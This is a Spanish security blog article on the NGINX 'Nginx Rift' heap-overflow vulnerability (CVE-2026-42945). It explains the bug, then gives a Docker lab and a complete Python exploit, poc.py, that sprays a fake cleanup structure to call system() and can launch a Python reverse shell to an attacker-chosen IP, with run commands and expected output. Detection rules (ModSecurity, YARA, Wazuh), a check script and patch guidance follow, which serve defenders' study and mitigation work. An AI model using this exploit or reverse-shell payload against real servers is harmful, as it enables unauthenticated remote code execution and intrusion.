Inicio Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas

Nginx Rift (CVE-2026-42945): RCE via heap overflow en ngx_http_rewrite_module

Nginx Rift (CVE-2026-42945): RCE via heap overflow en ngx_http_rewrite_module

Tabla de contenidos

Que es Nginx Rift (CVE-2026-42945)

Nginx Rift es una vulnerabilidad critica de heap buffer overflow en el modulo ngx_http_rewrite_module de NGINX que permite ejecucion remota de codigo (RCE) sin autenticacion. El bug fue introducido en 2008 (version 0.6.27) y estuvo latente durante 18 anos hasta su descubrimiento autonomo por la plataforma DepthFirst en abril de 2026.

El exploit abusa de una inconsistencia en el motor de scripts de NGINX: cuando una directiva rewrite contiene un ? en la cadena de reemplazo seguida de una directiva set que referencia un grupo de captura, el calculo del tamano del buffer usa un estado (is_args=0) mientras que la copia usa otro (is_args=1), provocando que ngx_escape_uri escriba mas bytes de los reservados.

Datos clave

CampoValor
CVECVE-2026-42945
CVSS v4.09.2 (Critical)
CVSS v3.18.1 (High)
CWECWE-122 (Heap-based Buffer Overflow)
DescubridorDepthFirst AI (Zhenpeng "Leo" Lin)
VendorF5 / NGINX
Publicacion13 mayo 2026
Versiones afectadasNGINX Open Source 0.6.27 – 1.30.0
FixNGINX 1.31.0 / 1.30.1 / NGINX Plus R36 P4
PrerequisitoConfiguracion con rewrite + set y captures sin nombre
ImpactoRCE como worker NGINX (normalmente nobody/www-data)

Productos afectados

  • NGINX Open Source: 0.6.27 – 1.30.0
  • NGINX Plus: R32 – R36
  • NGINX Instance Manager: 2.16.0 – 2.21.1
  • F5 WAF for NGINX: 5.9.0 – 5.12.1
  • NGINX App Protect WAF: 4.9.0 – 4.16.0 y 5.1.0 – 5.8.0
  • NGINX Gateway Fabric: 1.3.0 – 1.6.2 y 2.0.0 – 2.5.1
  • NGINX Ingress Controller: 3.5.0 – 3.7.2, 4.0.0 – 4.0.1 y 5.0.0 – 5.4.1

Como funciona el bug

El motor de scripts de NGINX (dos pasadas)

NGINX compila las directivas rewrite y set en operaciones internas que se ejecutan en dos pasadas:

  1. Pasada 1 (longitud): calcula cuantos bytes necesita el buffer de destino
  2. Pasada 2 (copia): escribe los datos en el buffer reservado

Si el estado del motor cambia entre ambas pasadas, se produce corrupcion de memoria.

El flag is_args que nunca se limpia

Cuando la cadena de reemplazo de rewrite contiene un ?, la funcion ngx_http_script_start_args_code establece e->is_args = 1 en el motor principal y nunca lo resetea.

Cuando la directiva set posterior necesita calcular el tamano del buffer para el capture $1, crea un sub-motor temporal (le) inicializado a ceros:

C
ngx_http_script_engine_t le;
ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
le.ip = code->lengths->elts;
  • Pasada 1 (sub-motor le): le.is_args = 0 → devuelve la longitud raw del capture
  • Pasada 2 (motor principal e): e->is_args = 1 → llama a ngx_escape_uri con NGX_ESCAPE_ARGS

Cada caracter escapable (+, %, &) se expande de 1 byte a 3 bytes. El buffer se reservo para N bytes pero se escriben N + 2*M bytes (donde M = numero de caracteres escapables en la URI).

Configuracion vulnerable

NGINX
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

Tres condiciones necesarias:

  1. rewrite con ? en la cadena de reemplazo
  2. Grupo de captura sin nombre ($1, $2) — los captures con nombre ($user_id) NO son vulnerables
  3. Directiva set, rewrite o if posterior que referencia el capture

De heap overflow a RCE

El exploit usa heap feng shui cross-request para controlar la disposicion de memoria:

  1. Spray POST: enviar cuerpos POST con una estructura ngx_pool_cleanup_s falsa que apunta a system() + comando
  2. Conexion atacante: enviar URI con padding de + que al escaparse desborda el heap
  3. Conexion victima: su pool de memoria esta adyacente en el heap; el overflow sobrescribe el puntero cleanup
  4. Trigger: cerrar la conexion victima → ngx_destroy_pool() itera la lista cleanup → ejecuta system(cmd)

Gracias a la arquitectura multi-proceso de NGINX (workers forked del master), el layout del heap es deterministico entre restarts — cada crash simplemente respawna un worker identico, permitiendo reintentos.

Laboratorio de reproduccion

Arquitectura del lab

TERRAFORM
┌─────────────────────────────────────────────────┐
│  Docker container (Ubuntu 22.04)                │
│                                                 │
│  ┌─────────────────────────────────────┐        │
│  │  NGINX 1.30.0 (compilado de fuente) │        │
│  │  - ngx_http_rewrite_module          │        │
│  │  - ASLR deshabilitado (setarch -R)  │        │
│  │  - Puerto 19321                     │        │
│  └─────────────────────────────────────┘        │
│                                                 │
│  ┌──────────────────────────┐                   │
│  │  Backend Python :19323   │                   │
│  │  (delay configurable)    │                   │
│  └──────────────────────────┘                   │
└─────────────────────────────────────────────────┘
         │
    Puerto 19321 expuesto
         │
┌─────────────────────┐
│  Host (atacante)    │
│  poc.py --shell     │
└─────────────────────┘

Requisitos

  • Docker + Docker Compose
  • Python 3
  • netcat (para reverse shell)

Ficheros del lab

Dockerfile (env/Dockerfile):

DOCKERFILE
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && apt-get install -y \
    gcc make libpcre2-dev libssl-dev zlib1g-dev \
    util-linux python3 curl git \
    && rm -rf /var/lib/apt/lists/*

RUN git clone https://github.com/nginx/nginx.git /nginx-src \
    && cd /nginx-src && git checkout 98fc3bb78

RUN cd /nginx-src && ./auto/configure \
    --builddir=build \
    --with-cc-opt='-g -O2 -fno-omit-frame-pointer' \
    --with-ld-opt='-Wl,-z,relro -Wl,-z,now' \
    --with-http_ssl_module --with-http_v2_module \
    && make -j$(nproc)

WORKDIR /app
COPY nginx.conf server.py entrypoint.sh ./
RUN chmod +x entrypoint.sh && mkdir -p logs tmp

ENTRYPOINT ["/app/entrypoint.sh"]
EXPOSE 19321

docker-compose.yml (env/docker-compose.yml):

YAML
services:
  nginx:
    build: .
    cap_add:
      - SYS_PTRACE
    security_opt:
      - seccomp=unconfined
    init: true
    ports:
      - "19321:19321"
    tty: true
    stdin_open: true

nginx.conf (configuracion vulnerable):

NGINX
daemon off;
worker_processes 1;
error_log logs/error.log;
pid tmp/nginx.pid;
worker_rlimit_core 500M;
working_directory tmp;

events {
    worker_connections 1024;
}

http {
    access_log off;
    client_body_temp_path tmp;
    proxy_temp_path tmp;
    fastcgi_temp_path tmp;
    uwsgi_temp_path tmp;
    scgi_temp_path tmp;

    upstream backend {
        server 127.0.0.1:19323;
    }

    server {
        listen 19322;
        location / { return 200 "backend ok\n"; }
    }

    server {
        listen 19321;
        request_pool_size 7920;
        connection_pool_size 4096;
        client_header_buffer_size 2048;

        # La combinacion rewrite + set dispara el bug:
        # - rewrite establece e->is_args = 1 (por el '?' en el reemplazo)
        # - set $original_endpoint $1 reserva buffer con longitud raw del
        #   capture, pero la copia escapa los caracteres (3x para '+')
        location ~ ^/api/(.*)$ {
            rewrite ^/api/(.*)$ /internal?migrated=true;
            set $original_endpoint $1;
        }

        location /internal {
            internal;
            proxy_pass http://backend;
            proxy_read_timeout 60s;
        }

        # Spray: cuerpo POST almacenado en pool memory (datos binarios, NUL permitido)
        location /spray {
            client_body_in_single_buffer on;
            proxy_pass http://backend;
            proxy_read_timeout 60s;
        }

        location / { return 200 "ok\n"; }
    }
}

entrypoint.sh:

BASH
#!/bin/bash
cd /app
python3 server.py &>/dev/null &
# setarch -R deshabilita ASLR para el proceso lanzado (direcciones deterministicas)
exec setarch x86_64 -R /nginx-src/build/nginx -p /app -c /app/nginx.conf

server.py (backend con delay configurable):

PYTHON
#!/usr/bin/env python3
"""Simple HTTP backend with configurable delay via X-Delay header."""
import http.server
import time
import socketserver

class BackendHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        delay = float(self.headers.get('X-Delay', '5'))
        time.sleep(delay)
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'backend ok\n')

    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        self.rfile.read(length)
        delay = float(self.headers.get('X-Delay', '5'))
        time.sleep(delay)
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'backend ok\n')

    def log_message(self, format, *args):
        pass

socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("127.0.0.1", 19323), BackendHandler) as httpd:
    print("Backend on :19323")
    httpd.serve_forever()

Exploit (poc.py)

PYTHON
#!/usr/bin/env python3
import argparse
import socket
import struct
import time
import sys

BODY_LEN = 4000
N_SPRAY = 20

SAFE = set()
_t = [0xffffffff, 0xd800086d, 0x50000000, 0xb8000001,
      0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff]
for _b in range(256):
    if not (_t[_b >> 5] & (1 << (_b & 0x1f))):
        SAFE.add(_b)

HEAP_BASE = 0x555555659000
LIBC_BASE = 0x7ffff77ba000
SYSTEM_ADDR = LIBC_BASE + 0x50d70

PREREAD_HEAP_OFFSETS = [
    0x05a427, 0x060e67,
    0x0ba557, 0x0bf367, 0x0c4177, 0x0c8f87, 0x0cdd97,
    0x0d2ba7, 0x0d79b7, 0x0dc7c7, 0x0e15d7, 0x0e63e7,
    0x0eb1f7, 0x0f0007, 0x0f4e17, 0x0f9c27, 0x0fea37,
    0x103847, 0x108657, 0x10d467,
]


def addr_is_safe(addr):
    return all(((addr >> (j * 8)) & 0xff) in SAFE for j in range(6))


def make_body(cmd, data_addr):
    fake_struct = struct.pack('<QQQ', SYSTEM_ADDR, data_addr, 0)
    cmd_bytes = cmd.encode('utf-8') + b'\x00'
    payload = fake_struct + cmd_bytes
    if len(payload) > BODY_LEN:
        print(f"[!] Command too long (body={len(payload)}, max={BODY_LEN})")
        sys.exit(1)
    return payload + b'\x41' * (BODY_LEN - len(payload))


def wait_alive(host, port, timeout=30):
    for _ in range(timeout):
        try:
            s = socket.create_connection((host, port), timeout=2)
            s.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n")
            s.recv(100)
            s.close()
            return True
        except Exception:
            time.sleep(1)
    return False


def attempt(host, port, target_bytes, body):
    sprays = []
    for i in range(N_SPRAY):
        try:
            s = socket.create_connection((host, port), timeout=5)
            req = (
                b"POST /spray HTTP/1.1\r\n"
                b"Host: l\r\n"
                b"Content-Length: " + str(BODY_LEN).encode() + b"\r\n"
                b"X-Delay: 60\r\n"
                b"Connection: close\r\n"
                b"\r\n"
                + body
            )
            s.sendall(req)
            sprays.append(s)
        except Exception:
            break
        time.sleep(0.005)
    time.sleep(0.2)

    try:
        a = socket.create_connection((host, port), timeout=5)
        time.sleep(0.02)
        v = socket.create_connection((host, port), timeout=5)
        time.sleep(0.02)
    except Exception:
        for s in sprays:
            try:
                s.close()
            except Exception:
                pass
        return False

    payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1")
    a.sendall((f"GET /api/{payload} HTTP/1.1\r\n"
               f"Host:localhost\r\n").encode("latin-1"))
    time.sleep(0.05)
    v.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\n")
    time.sleep(0.05)
    a.sendall(b"X-Delay:60\r\nConnection:close\r\n\r\n")
    time.sleep(0.2)

    v.close()
    time.sleep(0.1)

    crashed = False
    try:
        a.sendall(b"X-Ping:1\r\n")
        a.settimeout(0.2)
        data = a.recv(1)
        if not data:
            crashed = True
    except socket.timeout:
        try:
            check_sock = socket.create_connection((host, port), timeout=0.2)
            check_sock.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\nConnection:close\r\n\r\n")
            check_data = check_sock.recv(10)
            check_sock.close()
            if not check_data:
                crashed = True
            else:
                crashed = False
        except Exception:
            crashed = True
    except (ConnectionResetError, BrokenPipeError, OSError):
        crashed = True

    for s in sprays:
        try:
            s.close()
        except Exception:
            pass
    try:
        a.close()
    except Exception:
        pass
    return crashed


def main():
    parser = argparse.ArgumentParser(
        description="nginx rift RCE exploit (ASLR disabled)"
    )
    parser.add_argument("--host", default="127.0.0.1",
                        help="target host (default: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=19321,
                        help="target port (default: 19321)")
    parser.add_argument("--cmd",
                        help="shell command to execute via system()")
    parser.add_argument("--shell", action="store_true",
                        help="execute a reverse shell back to the attacker")
    parser.add_argument("--listen-port", type=int, default=1337,
                        help="port to listen on for reverse shell (default: 1337)")
    parser.add_argument("--listen-ip", type=str, default="172.17.0.1",
                        help="IP address for reverse shell to connect back to (default: 172.17.0.1)")
    args = parser.parse_args()

    if not args.cmd and not args.shell:
        parser.error("either --cmd or --shell must be specified")
    if args.cmd and args.shell:
        parser.error("cannot specify both --cmd and --shell")

    host = args.host
    port = args.port
    
    if args.shell:
        local_ip = args.listen_ip
        cmd = f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_ip}\",{args.listen_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
        print(f"[*] Generated reverse shell command: {cmd}")
    else:
        cmd = args.cmd

    if args.shell:
        import threading
        def listen_shell():
            print(f"[*] Listening for reverse shell on port {args.listen_port}...")
            import subprocess
            try:
                subprocess.run(["nc", "-l", "-p", str(args.listen_port)], check=True)
            except Exception:
                print(f"[!] Could not start netcat. Please run: nc -l -p {args.listen_port}")
                
        t = threading.Thread(target=listen_shell)
        t.daemon = True
        t.start()
        time.sleep(1)

    candidates = []
    for i, off in enumerate(PREREAD_HEAP_OFFSETS):
        addr = HEAP_BASE + off
        if addr_is_safe(addr):
            candidates.append((i, addr))

    primary_addr = candidates[0][1]
    data_addr = primary_addr + 24
    body = make_body(cmd, data_addr)

    print(f"[*] Waiting for nginx on {host}:{port}...")
    if not wait_alive(host, port):
        print("[!] nginx not responding")
        return 1
    print("[+] Connected.")

    TRIES_PER_CANDIDATE = 10

    for i, addr in candidates:
        target = bytes([(addr >> (j * 8)) & 0xff for j in range(6)])

        for t in range(TRIES_PER_CANDIDATE):
            if not wait_alive(host, port, timeout=10):
                time.sleep(2)
                if not wait_alive(host, port, timeout=10):
                    print("    server not recovering, aborting")
                    return 1

            crashed = attempt(host, port, target, body)
            if crashed:
                if args.shell:
                    try:
                        while True:
                            time.sleep(1)
                    except KeyboardInterrupt:
                        pass
                else:
                    print(f"[+] try {t + 1}/{TRIES_PER_CANDIDATE} "
                      f"crashed — system(\"{cmd}\") executed")
                print(f"[+] Done.")
                return 0
            time.sleep(0.3)

        print("[+] All candidates tried — no crash detected.")
    return 0


if __name__ == "__main__":
    sys.exit(main())

Despliegue del lab

BASH
# Clonar el repositorio del PoC
git clone https://github.com/DepthFirstDisclosures/Nginx-Rift.git
cd Nginx-Rift

# Construir el contenedor (compila NGINX desde fuente, ~5 min)
./setup.sh

# Iniciar el servidor vulnerable
docker compose -f env/docker-compose.yml up

Ejecutar el exploit

BASH
# Terminal 1: servidor ya corriendo con docker compose up

# Terminal 2: ejecutar comando arbitrario
python3 poc.py --cmd 'id > /tmp/pwned'

# Verificar ejecucion
docker compose -f env/docker-compose.yml exec nginx cat /tmp/pwned
# uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

# O bien: obtener reverse shell
# Terminal 2: escuchar
nc -lvnp 1337

# Terminal 3: lanzar exploit con shell
python3 poc.py --shell --listen-ip 172.17.0.1 --listen-port 1337

Salida esperada del exploit:

CODE
[*] Waiting for nginx on 127.0.0.1:19321...
[+] Connected.
[+] try 1/10 crashed — system("id > /tmp/pwned") executed
[+] Done.

Verificar el RCE

BASH
# Comprobar que el fichero se creo dentro del contenedor
docker compose -f env/docker-compose.yml exec nginx ls -la /tmp/pwned
docker compose -f env/docker-compose.yml exec nginx cat /tmp/pwned
# uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

Limpiar el lab

BASH
docker compose -f env/docker-compose.yml down --rmi all

Como funciona la explotacion paso a paso

1. Heap spray con POST bodies

El atacante abre 20 conexiones simultaneas enviando POST /spray con un cuerpo de 4000 bytes. Este cuerpo contiene una estructura ngx_pool_cleanup_s falsa:

CODE
Offset 0x00: SYSTEM_ADDR (8 bytes) — puntero a system() en libc
Offset 0x08: DATA_ADDR   (8 bytes) — puntero al comando (offset +24 del spray)
Offset 0x10: 0x00        (8 bytes) — next = NULL (fin de lista)
Offset 0x18: "id > /tmp/pwned\0" — el comando a ejecutar
Offset 0x2X: padding 'A' hasta 4000 bytes

Estos cuerpos POST pueden contener bytes nulos (a diferencia de URIs), lo que permite inyectar punteros arbitrarios.

2. Apertura de conexiones atacante + victima

Se abren dos conexiones TCP:

  • Conexion A (atacante): se le enviara la URI maliciosa
  • Conexion V (victima): su pool sera el target del overflow

El orden de apertura determina la adjacencia en el heap.

3. Envio de URI con padding de +

La URI enviada a la conexion A tiene la forma:

CODE
GET /api/AAAA...AAA++++...++++<target_bytes> HTTP/1.1
  • 349 bytes de A (padding seguro, no se escapa)
  • 969 bytes de + (cada + se expande a %2B = 3 bytes → overflow de 969*2 = 1938 bytes)
  • 6 bytes del puntero target (direccion del spray en el heap, filtrada para ser URI-safe)

4. Overflow y trigger

Al procesarse la URI:

  1. rewrite establece e->is_args = 1
  2. set $original_endpoint $1 calcula buffer de ~1318 bytes (longitud raw)
  3. La copia con escape escribe ~3256 bytes → overflow de ~1938 bytes sobre el pool adyacente
  4. Los ultimos 6 bytes sobrescriben el puntero cleanup del pool victima
  5. Al cerrar la conexion V, ngx_destroy_pool() ejecuta cleanup->handler(cleanup->data)system("id > /tmp/pwned")

5. Determinismo del heap

NGINX usa fork() para crear workers. Todos los workers tienen exactamente el mismo layout de memoria (copia del master). Si un intento falla y crashea el worker, el master respawna uno identico. Esto permite:

  • Reintentar sin cambio de offsets
  • Bruteforce de la posicion del spray (20 candidatos pre-calculados)

Nota: el PoC requiere ASLR deshabilitado (setarch -R). Con ASLR activo, seria necesario un leak previo de direcciones (posible via la misma arquitectura fork, byte-a-byte).

Deteccion del ataque

Indicadores de red

  • Multiples requests POST /spray de tamano fijo (4000 bytes) en rapida sucesion
  • URIs extremadamente largas (~1300+ caracteres) con cadenas repetitivas de + a endpoints tipo /api/...
  • Conexiones TCP parciales que se cierran abruptamente despues del POST spray

Reglas ModSecurity/WAF

APACHE
# Detectar URIs con exceso de caracteres + (indicador de heap spray)
SecRule REQUEST_URI "@rx \+{100,}" \
    "id:100600,phase:1,deny,status:403,\
    msg:'CVE-2026-42945: Possible Nginx Rift exploit attempt (excessive + chars in URI)'"

# Detectar requests extremadamente largas a /api/
SecRule REQUEST_URI "@rx ^/api/.{1000,}" \
    "id:100601,phase:1,deny,status:403,\
    msg:'CVE-2026-42945: Abnormally long API path (possible overflow attempt)'"

Deteccion via access log

Si se activa el access log, buscar patrones:

BASH
# Buscar URIs sospechosas en logs
grep -P '/api/.{1000,}' /var/log/nginx/access.log
grep -P '\+{50,}' /var/log/nginx/access.log

Regla YARA

YARA
rule NginxRift_CVE_2026_42945 {
    meta:
        description = "Detecta el exploit Nginx Rift (CVE-2026-42945)"
        author = "Red Orbita"
        date = "2026-05-18"
        cve = "CVE-2026-42945"
        severity = "critical"

    strings:
        $s1 = "nginx rift" ascii nocase
        $s2 = "ngx_escape_uri" ascii
        $s3 = "NGX_ESCAPE_ARGS" ascii
        $s4 = "ngx_http_script_copy_capture" ascii
        $s5 = "PREREAD_HEAP_OFFSETS" ascii
        $s6 = "make_body" ascii
        $s7 = "heap feng shui" ascii nocase
        $s8 = "depthfirst" ascii nocase
        $s9 = "/spray" ascii
        $s10 = "setarch" ascii

        // Patron de spray: struct.pack con SYSTEM_ADDR
        $pack = { 70 0d 05 00 00 00 00 00 }

    condition:
        ($s1 and $s9) or
        ($s5 and $s6) or
        ($s2 and $s5) or
        ($s9 and $s10 and $s6) or
        (4 of ($s*)) or
        $pack
}

Reglas Wazuh

XML
<group name="nginx-rift,exploit,cve-2026-42945">

  <!-- Deteccion de URIs extremadamente largas con + repetidos -->
  <rule id="100530" level="14">
    <if_sid>31100</if_sid>
    <regex type="pcre2">/api/.{1000,}\+{100,}</regex>
    <description>CVE-2026-42945: Posible explotacion Nginx Rift (URI con + excesivos)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>exploit_attempt,web,</group>
  </rule>

  <!-- Deteccion de multiples POST /spray en corto tiempo -->
  <rule id="100531" level="12" frequency="10" timeframe="5">
    <if_matched_sid>31100</if_matched_sid>
    <regex type="pcre2">POST /spray</regex>
    <description>CVE-2026-42945: Heap spray detectado (multiples POST /spray)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>exploit_attempt,web,</group>
  </rule>

  <!-- Worker crash loop -->
  <rule id="100532" level="13">
    <if_sid>31100</if_sid>
    <match>worker process</match>
    <match>exited on signal 11</match>
    <description>CVE-2026-42945: NGINX worker crash (posible explotacion Nginx Rift)</description>
    <mitre>
      <id>T1499.004</id>
    </mitre>
    <group>exploit_attempt,service_availability,</group>
  </rule>

</group>

Script de deteccion rapida

BASH
#!/bin/bash
# check_nginx_rift.sh - Verificar estado de CVE-2026-42945

echo "=== CVE-2026-42945 (Nginx Rift) - Check ==="
echo ""

VULN=0

# 1. Verificar version de NGINX
NGINX_BIN=$(which nginx 2>/dev/null || echo "/usr/sbin/nginx")
if [ -x "$NGINX_BIN" ]; then
    VERSION=$($NGINX_BIN -v 2>&1 | grep -oP 'nginx/\K[0-9.]+')
    echo "[INFO] Version: nginx/$VERSION"
    
    # Comparar version (vulnerable: <= 1.30.0)
    if printf '%s\n' "1.30.0" "$VERSION" | sort -V | head -1 | grep -q "^$VERSION$"; then
        if [ "$VERSION" != "1.31.0" ] && [ "$VERSION" != "1.30.1" ]; then
            echo "[VULNERABLE] Version $VERSION es vulnerable (< 1.30.1)"
            VULN=1
        fi
    else
        echo "[OK] Version $VERSION es >= 1.31.0 (parcheada)"
    fi
else
    echo "[INFO] NGINX no encontrado en el sistema"
fi

# 2. Buscar configuracion vulnerable
echo ""
echo "Buscando configuraciones vulnerables..."
CONF_DIRS="/etc/nginx /usr/local/nginx/conf /opt/nginx/conf"
for dir in $CONF_DIRS; do
    if [ -d "$dir" ]; then
        # Buscar rewrite con ? seguido de set con $1/$2
        MATCHES=$(grep -rn 'rewrite.*\$.*?.*' "$dir" 2>/dev/null | grep -v '#')
        if [ -n "$MATCHES" ]; then
            echo "  [ALERTA] Posible configuracion vulnerable en $dir:"
            echo "$MATCHES" | while read line; do
                echo "    $line"
            done
            
            # Verificar si usa captures sin nombre ($1, $2, etc)
            if echo "$MATCHES" | grep -qP '\$[0-9]+'; then
                echo "  [VULNERABLE] Usa captures sin nombre (\$1, \$2) con ? en rewrite"
                VULN=2
            fi
        fi
    fi
done

# 3. Verificar si ASLR esta habilitado
echo ""
ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)
if [ "$ASLR" = "2" ]; then
    echo "[MITIGADO] ASLR completamente habilitado (randomize_va_space=2)"
elif [ "$ASLR" = "1" ]; then
    echo "[PARCIAL] ASLR parcial (randomize_va_space=1)"
elif [ "$ASLR" = "0" ]; then
    echo "[CRITICO] ASLR deshabilitado - explotacion trivial"
    VULN=2
fi

# 4. Verificar crashes recientes de workers
echo ""
echo "Buscando crashes de workers NGINX..."
if [ -f /var/log/nginx/error.log ]; then
    CRASHES=$(grep -c "exited on signal 11" /var/log/nginx/error.log 2>/dev/null)
    if [ "$CRASHES" -gt "0" ]; then
        echo "  [ALERTA] $CRASHES crashes de worker encontrados (signal 11 = SIGSEGV)"
    else
        echo "  [OK] No se detectan crashes de workers"
    fi
fi

echo ""
if [ $VULN -eq 2 ]; then
    echo "[CRITICO] Configuracion vulnerable detectada"
    echo "          Accion inmediata: usar named captures en lugar de \$1/\$2"
    echo "          Solucion definitiva: actualizar a NGINX >= 1.31.0"
elif [ $VULN -eq 1 ]; then
    echo "[VULNERABLE] Version vulnerable detectada"
    echo "          Verificar configuracion manualmente"
    echo "          Solucion: actualizar a NGINX >= 1.31.0"
else
    echo "[OK] Sistema no vulnerable o no aplica"
fi

Workaround: usar named captures

Si no puedes actualizar inmediatamente, la mitigacion es reemplazar captures sin nombre por captures con nombre en todas las directivas rewrite:

Vulnerable:

NGINX
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

Mitigado:

NGINX
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;

Buscar y corregir todas las ocurrencias:

BASH
# Encontrar todas las configuraciones potencialmente vulnerables
grep -rn 'rewrite.*\$[0-9].*?' /etc/nginx/ 2>/dev/null

# Verificar que no quedan captures sin nombre despues de corregir
nginx -t && nginx -s reload

Que rompe esto:

  • Nada funcional — los named captures son equivalentes semanticamente
  • Solo requiere renombrar $1, $2 por nombres descriptivos

Solucion definitiva: actualizar NGINX

ProductoVersion parcheada
NGINX Open Source1.31.0 o 1.30.1
NGINX PlusR36 P4 / R32 P6
BASH
# Ubuntu/Debian
apt update && apt install nginx

# CentOS/RHEL
yum update nginx

# Verificar version
nginx -v
# nginx version: nginx/1.31.0

# Reiniciar
systemctl restart nginx

El parche corrige el bug reseteando e->is_args correctamente entre evaluaciones de directivas, asegurando que la pasada de calculo de longitud y la pasada de copia usen el mismo estado de escape.

Timeline

FechaEvento
2008Bug introducido en NGINX 0.6.27
18 abril 2026DepthFirst analiza el codigo fuente de NGINX
21 abril 2026Reporte a NGINX via GitHub Security Advisory
24 abril 2026NGINX confirma 4 de 5 issues reportados
28 abril 2026DepthFirst informa que tiene PoC de RCE funcional
5 mayo 2026PoC compartido con NGINX + video demo
13 mayo 2026F5 publica advisory + parche (NGINX 1.31.0 / 1.30.1)
14 mayo 2026DepthFirst publica writeup tecnico y PoC

Referencias

Comentarios